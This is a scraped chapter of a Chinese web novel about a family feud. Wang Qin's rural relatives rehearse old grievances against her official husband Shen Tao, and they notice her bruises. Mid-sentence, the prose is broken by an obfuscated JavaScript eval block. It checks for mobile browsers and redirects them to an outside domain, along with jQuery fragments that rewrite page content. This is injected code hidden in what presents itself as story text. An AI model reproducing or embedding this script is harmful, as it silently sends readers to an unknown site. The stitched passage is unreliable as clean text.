默认冷灰
24号文字
方正启体

74. 第 74 章

作者:敲锣打蛊本书字数:K更新时间:
    烟头在沈时手指间反复揉搓成碎叶。


    丁思南在星月广场购物?


    看来过得挺不错的?她果然有钱…!


    沈时额头的青筋根根暴起,环顾着家徒四壁的破屋子。


    自家男人还在家里流血流汗,为填补家里的漏洞急得满地打转,她作为媳妇怎么有脸在外头潇洒的?…还有男人陪同,行啊,丁思南,你出息了,能耐了…我看你是活腻了。


    -----------------


    王琴委屈巴巴地坐在厅堂的正中央,她的叔叔伯伯哥哥婶子大舅公二姨妈…一人一张板凳围成一个圈。


    乡下的自建房厅堂又大又宽敞,塞个十来号人依然不觉得拥挤。


    除了王琴跟着沈涛住到了城里当了城里人,她父母前两年都寿终正寝以外,她家其他关系近的亲戚仍然在乡下务农,后辈们要强的去了外地打工,大多数在村子里游荡一天没个正经事,今天调戏东村的寡妇,明天偷西村的鸭子,游手好闲可谓成了王家的家风。


    农村是典型的人情社会,一个家族立不立得住靠的就是人多势众,王家就完美符合这一特点,吼一嗓子能从村子的各处冒出王家人来,沾亲带故的更是数不胜数,在乡下镇上也算是个大户人家,男丁又多,别人轻易不敢惹的。


    王琴这一辈里她是幺妹,上头两个亲哥哥,堂兄弟姐妹里面按照辈分她也是最小的,打小就是亲戚堆里宠大的。


    即便是在贫苦的农村,门庭之间也有贫富的差异。


    王琴的娘家住得上高粱白墙的大房子,虽说没吃过山珍海味,但也能把他们兄妹几个养的白白胖胖。


    在那个年代的山区农村,王琴可是村里头一个上过村小学的女娃,到了谈婚论嫁的年纪,娘家殷实,女娃还识字,各方面的条件使她跃升为十里八乡农村男人心中老婆席位的首选。


    也是因为被‘富养’过,王琴反而没那么在乎物质条件了,单纯的以为自己家有的别人家也差不多。


    少女时期的她颇具浪漫主义,乡村学堂里女生之间和城里没什么特别,互相也传阅着被摸的包浆的古老言情小说杂志。


    王琴在情窦初开之时和万千少女一样陷入了幻想爱情的粉红泡泡,而且非要在没什么可选的同窗之中选出一个幻想对象来才罢休。


    放眼一群歪瓜裂枣,家境清贫、上课认真、成绩优异的沈涛俨然是最符合书中清冷男主角的人选,于是王琴无处安放的思春之情有了归宿。


    这一放,就放出事儿来了。


    像沈涛那种穷的连自家孩子都养不活的情况,在王琴的世界里是无法想象的。她只知道要一个劲儿地对他好,自己有什么都往外掏,就像妈妈心疼自己的儿子那样。


    上学时期,沈涛连一只像样的铅笔都没有,捡同学丢弃的小萝卜头铅笔来用,冬天总是穿着不合身的薄衣薄裤一大早顶着满头的冰碴子最早到学校。


    他的午饭盒里从来没有见过半点油水荤腥,王琴总会让家里多给自己备点菜,自己忍饥挨饿不吃,统统带去学校塞进沈涛的饭盒里。


    可以说,沈涛的身体能够长到一个正常身高,完全是靠王琴一口一口喂出来的。而王琴自己因为青春期不好好吃饭,只有一米五不到的个头。


    在学堂里,她不曾察觉她和沈涛之间有任何差距,正如现在沈涛已经成为副镇长,王琴还是一厢情愿地感受不到她们之间有何差距。


    沈时的大舅王祥‘哐哐哐’地把烟斗倒扣在老木头桌上,大粗眉搅在了一起,“妈了个巴子,幺妹,你多少年没有回过娘家来看一看了,没想到一回来就是这种事!”


    沈时的二舅王瑞翘着二郎腿,缩在一张小板凳上,大脚趾夹着摇摇欲坠的人字拖,指甲缝里全是泥。


    “当年爸妈都不看好你嫁给那穷鬼,你偏要嫁,我们一家也算待他沈涛不薄吧?你俩结婚的时候,说是我们王家完全倒贴他们沈家一个闺女,他也不冤。”


    “当年爹娘老堂屋拆下来那十几根大原木柱子被他擅自拿走送给了他表弟,这事儿你们没忘吧?!只不过放在自家门前晾一晾,转眼就不见了!多好的木头,我们只当都是自家人,哪知道还能被沈涛这个家贼惦记着?”


    “他算好了那天家里人都下地去了,偷摸着就叫他表弟来拉走,一根都没剩!要不是邻居看见,他还不打算说!还恬不知耻地说什么放在门前以为是我们不要的!他沈家就算八辈子没见过好东西,就能不问就拿吗?亏他还是个读过书的!”


    “里屋的堂间专门让出来给他做新房,住了多少年,他说过一个谢字?你的嫁妆三大件还是我和大哥拿大队分的钱和票给你们添置的,整个村哪有我们家这样的?别人都猜忌我们王家这样的条件,怎么找了个倒插门女婿,说幺妹儿你身上必有顽疾,是正常男人都不肯要的,这些你都忘了?”


    “倒插门的女婿至少还知道伺候父母,让孩子跟咱们姓王,他沈涛比猴还精,好处一样不松口,欺负我们王家人心软。看着老实,心眼比谁都多!”


    “没良心的畜生,现在看看怎么样?我当时就说他不是个好的,你不信!”


    王琴在娘家跟个小鹌鹑似的,心里不服,她是回来找娘家人撑腰的,不是来听教训的,要说沈涛欺负了她这是没假,可数落她眼光不好那就不对了。


    “我想他是个能干的总没错吧?他能考上中专,你们都不能。分配了工作至少是国家管,是公家人,吃住全都有保障,每个月工资不少还有粮油补贴,后来不就分到城里的房子搬出去了吗?像你们一样都六十多了还得面朝黄土背朝天的忙活,一年到头挣不到钱才叫好吗?”


    “后来你们也知道,他被领导赏识进入了镇里办公室,怎么着也算是走上仕途了,我一辈子有依靠了,出了个当官的女婿我们王家人不也有光吗?我哪里能想得到会这样啊?”


    “靠得住个啥?”说到这王瑞就来气,“发达了之后想到过我们吗?”


    “大哥家小子,你亲侄儿,想让他给介绍到城里念书,他办了吗?左一个借口右一个难处。”


    “还有我家的小子当年发高烧,镇上卫生所实在没办法,才找他帮忙救命的。才送到市医院去就不管了,把我们一家三口撂在那里,我们农村人头一回进城,东南西北都找不着,他家就教他这么回报大舅子的吗?”


    当年这事儿确实沈涛做的理亏,连王琴都觉得没脸提,闭嘴不说话了。


    大侄子高烧不退,一条人命,一家子来城里人生地不熟只能找妹妹家帮忙。一时着急地上来看病身上没带多少钱,住院没多久就把钱花光了,沈涛居然还扭扭捏捏不愿意她们留宿。


    王琴记得她当时发了好大一通脾气,沈涛二话不说就带着衣服行李什么的躲到单位里去,对家里不闻不问,刚好撒开手来万事不管,足足过了一个月才回来。


    说穿了就是嫌弃,看不上王琴娘家人了,更不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100229|171101||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想沾染,王家人身上那来自大山深处农村的泥土气,是沈涛一辈子最深的梦魇。


    曾经以一家人相称,在一个屋檐下生活,最是亲密无间互帮互助。


    沈涛一朝踏上青云路,翻脸就不认人了。


    沈时的二舅妈李芳拍掉了手里的瓜子皮,接话茬:“可不吗?小妹,你忘了你怀孕的时候过的是什么日子啦?是谁端屎端尿地伺候你哒?是我呀!沈家那个老巫婆差点把你饿死在婆家,要不是你哥和我去看你,及时把你接回来顿顿鸡鸭鱼肉地养好了,保不齐你现在和大侄子两条命就…”


    “且不说这是救命之恩,把他沈家的命根子保下来了,他连个表示都没有。后来我儿子生病,他就那样对我们呀?良心说得过去吗?我们当年是怎么帮衬他的,要他反过来帮我们一次好像占了他天大的便宜似的。他沈家欠咱们王家的可多了,只是我们心善,不提罢了!”


    王琴低下头,拳头攥紧了。


    都说月子之仇不共戴天,她甚至没福气让婆婆伺候月子,能在婆婆手里保住孩子活下来都算命硬。


    她当年怀着沈时的时候,沈涛的母亲一顿像样饭也不给做。


    用他们家唯一一口大铁锅煮猪食,捞出一勺稀的不知道是什么放在一边,爱吃不吃。


    沈涛正值事业上升期,远在山的那一边,没日没夜地围在领导身边打转,七个月来一天都没有回家看过。


    对他而言,女人生孩子就和母猪配种落小猪一样,月份大了时间到了自然就落崽了,没什么可担心的。


    她那么大一个人了,吃喝拉撒还要人伺候吗?


    再说了,他老娘一直在家里看着呢,能出啥事儿?


    比猪还不如的伙食撑了个把月,王琴严重营养不良,手脚肿胀发虚,头晕脑胀好像走在云端,差点一尸两命。


    多亏了兄嫂来看她,才把她从鬼门关拉回来。


    可是前头几个月伤到了根基,后头兄嫂给她拼命地补营养已无济于事,沈时是七个多月早产的,生下来才三斤多,不足王瑞一个巴掌大。


    小时候怎么喂都喂不胖,能好好地活到现在多不容易啊。


    王琴回忆起往事心酸,眼角不禁湿润。


    她在心里保证,以后要多做善事,多给菩萨烧香,好保佑儿子一生平安。


    “都过去了,还说这些做什么。”王琴抹着泪,柔声道。


    李芳皱了皱眉,斜眼看向别处。


    “幺妹儿,你这手臂上怎么青一块紫一块的?”


    王祥打小就最疼爱这个妹妹,别人在叽叽喳喳地翻着旧账,只有他跟着王琴流露出来的心酸一块儿难过。


    山里的夏末比城里凉快,夜晚更添秋意,如今山里的农村也都拉了电线电灯,在厅堂里唯一一盏摇曳昏黄的电灯灯光下,几乎被长袖长裤覆盖住所有裸露皮肤的王琴,难以让人看出来身上密密麻麻的伤口。


    她心底里还是怕丢人的。


    刚才说到激动处,撩袖子的撩袖子,解扣子的解扣子,脖颈和手臂上还有几处没撕去的纱布露了出来,她年纪大了,有的伤口下淤血退的慢,这就让眼尖的王祥看出来了。


    王祥一说,所有人的注意力都被吸引到她身上去。


    王琴想瞒也是不可能的了。


    只是,她当年当人家儿媳的时候,碰到个悍妇婆婆,连个屁都不敢放,净让人欺负了。现在自己当了婆婆,还让儿媳妇欺负,实在是丢人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)